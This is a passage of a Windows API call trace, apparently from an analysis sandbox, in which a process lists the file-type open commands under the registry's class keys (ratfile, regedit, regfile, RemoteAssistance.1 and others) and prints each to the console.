lpName="qedit.SmartRenderEngine") returned 0x0 [0101.511] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="qedit.SmartRenderEngine\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.511] SetLastError (dwErrCode=0x2) [0101.511] RegCloseKey (hKey=0x0) returned 0x6 [0101.511] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbe4, lpName=0x2eef50, cchName=0x104 | out: lpName="qedit.SmartRenderEngine.1") returned 0x0 [0101.511] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="qedit.SmartRenderEngine.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.511] SetLastError (dwErrCode=0x2) [0101.511] RegCloseKey (hKey=0x0) returned 0x6 [0101.511] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbe5, lpName=0x2eef50, cchName=0x104 | out: lpName="qedit.Xml2Dex") returned 0x0 [0101.511] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="qedit.Xml2Dex\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.511] SetLastError (dwErrCode=0x2) [0101.511] RegCloseKey (hKey=0x0) returned 0x6 [0101.511] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbe6, lpName=0x2eef50, cchName=0x104 | out: lpName="qedit.Xml2Dex.1") returned 0x0 [0101.511] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="qedit.Xml2Dex.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.511] SetLastError (dwErrCode=0x2) [0101.511] RegCloseKey (hKey=0x0) returned 0x6 [0101.511] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbe7, lpName=0x2eef50, cchName=0x104 | out: lpName="QueryAllWinSAT") returned 0x0 [0101.511] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="QueryAllWinSAT\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.511] SetLastError (dwErrCode=0x2) [0101.511] RegCloseKey (hKey=0x0) returned 0x6 [0101.511] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbe8, lpName=0x2eef50, cchName=0x104 | out: lpName="QueryWinSAT") returned 0x0 [0101.512] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="QueryWinSAT\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.512] SetLastError (dwErrCode=0x2) [0101.512] RegCloseKey (hKey=0x0) returned 0x6 [0101.512] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbe9, lpName=0x2eef50, cchName=0x104 | out: lpName="queue") returned 0x0 [0101.512] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="queue\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.512] SetLastError (dwErrCode=0x2) [0101.512] RegCloseKey (hKey=0x0) returned 0x6 [0101.512] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbea, lpName=0x2eef50, cchName=0x104 | out: lpName="RACplDlg.RARegSetting") returned 0x0 [0101.512] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RACplDlg.RARegSetting\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.512] SetLastError (dwErrCode=0x2) [0101.512] RegCloseKey (hKey=0x0) returned 0x6 [0101.512] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbeb, lpName=0x2eef50, cchName=0x104 | out: lpName="RACplDlg.RARegSetting.1") returned 0x0 [0101.512] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RACplDlg.RARegSetting.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.512] SetLastError (dwErrCode=0x2) [0101.512] RegCloseKey (hKey=0x0) returned 0x6 [0101.512] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbec, lpName=0x2eef50, cchName=0x104 | out: lpName="RACplDlg.RASettingProperty") returned 0x0 [0101.512] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RACplDlg.RASettingProperty\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.512] SetLastError (dwErrCode=0x2) [0101.512] RegCloseKey (hKey=0x0) returned 0x6 [0101.512] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbed, lpName=0x2eef50, cchName=0x104 | out: lpName="RACplDlg.RASettingProperty.1") returned 0x0 [0101.512] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RACplDlg.RASettingProperty.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.512] SetLastError (dwErrCode=0x2) [0101.512] RegCloseKey (hKey=0x0) returned 0x6 [0101.512] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbee, lpName=0x2eef50, cchName=0x104 | out: lpName="RAServer.RASMapi") returned 0x0 [0101.513] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RAServer.RASMapi\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.513] SetLastError (dwErrCode=0x2) [0101.513] RegCloseKey (hKey=0x0) returned 0x6 [0101.513] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbef, lpName=0x2eef50, cchName=0x104 | out: lpName="RAServer.RASMapi.1") returned 0x0 [0101.513] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RAServer.RASMapi.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.513] SetLastError (dwErrCode=0x2) [0101.513] RegCloseKey (hKey=0x0) returned 0x6 [0101.513] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbf0, lpName=0x2eef50, cchName=0x104 | out: lpName="RAServer.RASrv") returned 0x0 [0101.513] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RAServer.RASrv\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.513] SetLastError (dwErrCode=0x2) [0101.513] RegCloseKey (hKey=0x0) returned 0x6 [0101.513] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbf1, lpName=0x2eef50, cchName=0x104 | out: lpName="RAServer.RASrv.1") returned 0x0 [0101.513] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RAServer.RASrv.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.513] SetLastError (dwErrCode=0x2) [0101.513] RegCloseKey (hKey=0x0) returned 0x6 [0101.513] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbf2, lpName=0x2eef50, cchName=0x104 | out: lpName="RAServer.RemoteAssistance") returned 0x0 [0101.513] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RAServer.RemoteAssistance\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.513] SetLastError (dwErrCode=0x2) [0101.513] RegCloseKey (hKey=0x0) returned 0x6 [0101.513] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbf3, lpName=0x2eef50, cchName=0x104 | out: lpName="RAServer.RemoteAssistance.1") returned 0x0 [0101.513] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RAServer.RemoteAssistance.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.513] SetLastError (dwErrCode=0x2) [0101.513] RegCloseKey (hKey=0x0) returned 0x6 [0101.513] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbf4, lpName=0x2eef50, cchName=0x104 | out: lpName="ratfile") returned 0x0 [0101.513] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ratfile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.514] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0xb4) returned 0x0 [0101.514] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0xb4 | out: lpType=0x2eef28*=0x2, lpData="\"%SystemRoot%\\System32\\rundll32.exe\" \"%SystemRoot%\\System32\\msrating.dll\",ClickedOnRAT %1", lpcbData=0x2eef20*=0xb4) returned 0x0 [0101.514] RegCloseKey (hKey=0x64) returned 0x0 [0101.514] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="ratfile=\"%SystemRoot%\\System32\\rundll32.exe\" \"%SystemRoot%\\System32\\msrating.dll\",ClickedOnRAT %1\r\n") returned 99 [0101.514] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.514] GetFileType (hFile=0x5c) returned 0x3 [0101.514] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.514] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ratfile=\"%SystemRoot%\\System32\\rundll32.exe\" \"%SystemRoot%\\System32\\msrating.dll\",ClickedOnRAT %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ratfile=\"%SystemRoot%\\System32\\rundll32.exe\" \"%SystemRoot%\\System32\\msrating.dll\",ClickedOnRAT %1\r\n", lpUsedDefaultChar=0x0) returned 100 [0101.514] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x63, lpOverlapped=0x0) returned 1 [0101.528] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbf5, lpName=0x2eef50, cchName=0x104 | out: lpName="RCM.ConnectionManager") returned 0x0 [0101.534] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RCM.ConnectionManager\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.534] SetLastError (dwErrCode=0x2) [0101.534] RegCloseKey (hKey=0x0) returned 0x6 [0101.534] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbf6, lpName=0x2eef50, cchName=0x104 | out: lpName="RCM.ConnectionManager.1") returned 0x0 [0101.534] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RCM.ConnectionManager.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.534] SetLastError (dwErrCode=0x2) [0101.534] RegCloseKey (hKey=0x0) returned 0x6 [0101.534] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbf7, lpName=0x2eef50, cchName=0x104 | out: lpName="RDB.AutoPlayHandler") returned 0x0 [0101.534] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RDB.AutoPlayHandler\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.534] SetLastError (dwErrCode=0x2) [0101.534] RegCloseKey (hKey=0x0) returned 0x6 [0101.534] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbf8, lpName=0x2eef50, cchName=0x104 | out: lpName="RDBFileProperties.1") returned 0x0 [0101.534] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RDBFileProperties.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.534] SetLastError (dwErrCode=0x2) [0101.534] RegCloseKey (hKey=0x0) returned 0x6 [0101.535] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbf9, lpName=0x2eef50, cchName=0x104 | out: lpName="RDP.File") returned 0x0 [0101.535] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RDP.File\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.535] SetLastError (dwErrCode=0x2) [0101.535] RegCloseKey (hKey=0x0) returned 0x6 [0101.535] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbfa, lpName=0x2eef50, cchName=0x104 | out: lpName="Rdpcomapi.RDPSession") returned 0x0 [0101.535] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Rdpcomapi.RDPSession\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.535] SetLastError (dwErrCode=0x2) [0101.535] RegCloseKey (hKey=0x0) returned 0x6 [0101.535] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbfb, lpName=0x2eef50, cchName=0x104 | out: lpName="Rdpcomapi.RDPSession.1") returned 0x0 [0101.535] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Rdpcomapi.RDPSession.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.535] SetLastError (dwErrCode=0x2) [0101.535] RegCloseKey (hKey=0x0) returned 0x6 [0101.535] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbfc, lpName=0x2eef50, cchName=0x104 | out: lpName="RdpCoreKMTS.WTSProtocolManager") returned 0x0 [0101.535] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RdpCoreKMTS.WTSProtocolManager\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.535] SetLastError (dwErrCode=0x2) [0101.535] RegCloseKey (hKey=0x0) returned 0x6 [0101.535] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbfd, lpName=0x2eef50, cchName=0x104 | out: lpName="RdpCoreKMTS.WTSProtocolManager.1") returned 0x0 [0101.535] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RdpCoreKMTS.WTSProtocolManager.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.535] SetLastError (dwErrCode=0x2) [0101.535] RegCloseKey (hKey=0x0) returned 0x6 [0101.535] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbfe, lpName=0x2eef50, cchName=0x104 | out: lpName="Rdpvcomapi.RDPViewer") returned 0x0 [0101.535] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Rdpvcomapi.RDPViewer\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.535] SetLastError (dwErrCode=0x2) [0101.535] RegCloseKey (hKey=0x0) returned 0x6 [0101.535] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbff, lpName=0x2eef50, cchName=0x104 | out: lpName="Rdpvcomapi.RDPViewer.1") returned 0x0 [0101.536] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Rdpvcomapi.RDPViewer.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.536] SetLastError (dwErrCode=0x2) [0101.536] RegCloseKey (hKey=0x0) returned 0x6 [0101.536] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc00, lpName=0x2eef50, cchName=0x104 | out: lpName="RDS.DataControl") returned 0x0 [0101.536] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RDS.DataControl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.536] SetLastError (dwErrCode=0x2) [0101.536] RegCloseKey (hKey=0x0) returned 0x6 [0101.536] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc01, lpName=0x2eef50, cchName=0x104 | out: lpName="RDS.DataControl.6.0") returned 0x0 [0101.536] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RDS.DataControl.6.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.536] SetLastError (dwErrCode=0x2) [0101.536] RegCloseKey (hKey=0x0) returned 0x6 [0101.536] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc02, lpName=0x2eef50, cchName=0x104 | out: lpName="RDS.DataSpace") returned 0x0 [0101.536] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RDS.DataSpace\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.536] SetLastError (dwErrCode=0x2) [0101.536] RegCloseKey (hKey=0x0) returned 0x6 [0101.536] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc03, lpName=0x2eef50, cchName=0x104 | out: lpName="RDS.DataSpace.6.0") returned 0x0 [0101.536] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RDS.DataSpace.6.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.536] SetLastError (dwErrCode=0x2) [0101.536] RegCloseKey (hKey=0x0) returned 0x6 [0101.536] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc04, lpName=0x2eef50, cchName=0x104 | out: lpName="RDSServer.DataFactory") returned 0x0 [0101.536] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RDSServer.DataFactory\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.536] SetLastError (dwErrCode=0x2) [0101.536] RegCloseKey (hKey=0x0) returned 0x6 [0101.536] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc05, lpName=0x2eef50, cchName=0x104 | out: lpName="RDSServer.DataFactory.6.0") returned 0x0 [0101.536] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RDSServer.DataFactory.6.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.536] SetLastError (dwErrCode=0x2) [0101.536] RegCloseKey (hKey=0x0) returned 0x6 [0101.537] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc06, lpName=0x2eef50, cchName=0x104 | out: lpName="RECIP.RecipCtl.1") returned 0x0 [0101.537] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RECIP.RecipCtl.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.537] SetLastError (dwErrCode=0x2) [0101.537] RegCloseKey (hKey=0x0) returned 0x6 [0101.537] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc07, lpName=0x2eef50, cchName=0x104 | out: lpName="Record") returned 0x0 [0101.537] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Record\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.537] SetLastError (dwErrCode=0x2) [0101.537] RegCloseKey (hKey=0x0) returned 0x6 [0101.537] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc08, lpName=0x2eef50, cchName=0x104 | out: lpName="regedit") returned 0x0 [0101.537] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="regedit\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.537] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x22) returned 0x0 [0101.537] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c6be0, lpcbData=0x2eef20*=0x22 | out: lpType=0x2eef28*=0x1, lpData="regedit.exe \"%1\"", lpcbData=0x2eef20*=0x22) returned 0x0 [0101.537] RegCloseKey (hKey=0x64) returned 0x0 [0101.537] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="regedit=regedit.exe \"%1\"\r\n") returned 26 [0101.537] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.537] GetFileType (hFile=0x5c) returned 0x3 [0101.537] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.537] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="regedit=regedit.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="regedit=regedit.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 27 [0101.537] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x1a, lpOverlapped=0x0) returned 1 [0101.538] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc09, lpName=0x2eef50, cchName=0x104 | out: lpName="regfile") returned 0x0 [0101.538] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="regfile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.538] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x22) returned 0x0 [0101.538] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c6be0, lpcbData=0x2eef20*=0x22 | out: lpType=0x2eef28*=0x1, lpData="regedit.exe \"%1\"", lpcbData=0x2eef20*=0x22) returned 0x0 [0101.538] RegCloseKey (hKey=0x64) returned 0x0 [0101.538] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="regfile=regedit.exe \"%1\"\r\n") returned 26 [0101.538] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.538] GetFileType (hFile=0x5c) returned 0x3 [0101.538] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.538] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="regfile=regedit.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="regfile=regedit.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 27 [0101.538] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x1a, lpOverlapped=0x0) returned 1 [0101.538] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc0a, lpName=0x2eef50, cchName=0x104 | out: lpName="RegisterControl.Register") returned 0x0 [0101.538] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RegisterControl.Register\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.538] SetLastError (dwErrCode=0x2) [0101.538] RegCloseKey (hKey=0x0) returned 0x6 [0101.538] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc0b, lpName=0x2eef50, cchName=0x104 | out: lpName="RegisterControl.Register.1") returned 0x0 [0101.538] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RegisterControl.Register.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.538] SetLastError (dwErrCode=0x2) [0101.538] RegCloseKey (hKey=0x0) returned 0x6 [0101.538] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc0c, lpName=0x2eef50, cchName=0x104 | out: lpName="RemoteAssistance.1") returned 0x0 [0101.539] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RemoteAssistance.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.539] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0x60) returned 0x0 [0101.539] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x60 | out: lpType=0x2eef28*=0x2, lpData="\"%systemRoot%\\system32\\msra.exe\" -openfile \"%1\"", lpcbData=0x2eef20*=0x60) returned 0x0 [0101.539] RegCloseKey (hKey=0x64) returned 0x0 [0101.539] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="RemoteAssistance.1=\"%systemRoot%\\system32\\msra.exe\" -openfile \"%1\"\r\n") returned 68 [0101.539] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.539] GetFileType (hFile=0x5c) returned 0x3 [0101.539] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.539] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="RemoteAssistance.1=\"%systemRoot%\\system32\\msra.exe\" -openfile \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RemoteAssistance.1=\"%systemRoot%\\system32\\msra.exe\" -openfile \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 69 [0101.539] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x44, lpOverlapped=0x0) returned 1 [0101.539] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc0d, lpName=0x2eef50, cchName=0x104 | out: lpName="RemoteHelper.RemoteHelper") returned 0x0 [0101.539] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RemoteHelper.RemoteHelper\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.539] SetLastError (dwErrCode=0x2) [0101.539] RegCloseKey (hKey=0x0) returned 0x6 [0101.539] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc0e, lpName=0x2eef50, cchName=0x104 | out: lpName="ReplicateCatalog.ReplicateCatalog") returned 0x0 [0101.539] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ReplicateCatalog.ReplicateCatalog\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.539] SetLastError (dwErrCode=0x2) [0101.539] RegCloseKey (hKey=0x0) returned 0x6 [0101.539] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc0f, lpName=0x2eef50, cchName=0x104 | out: lpName="ReplicateCatalog.ReplicateCatalog.1") returned 0x0 [0101.539] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ReplicateCatalog.ReplicateCatalog.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 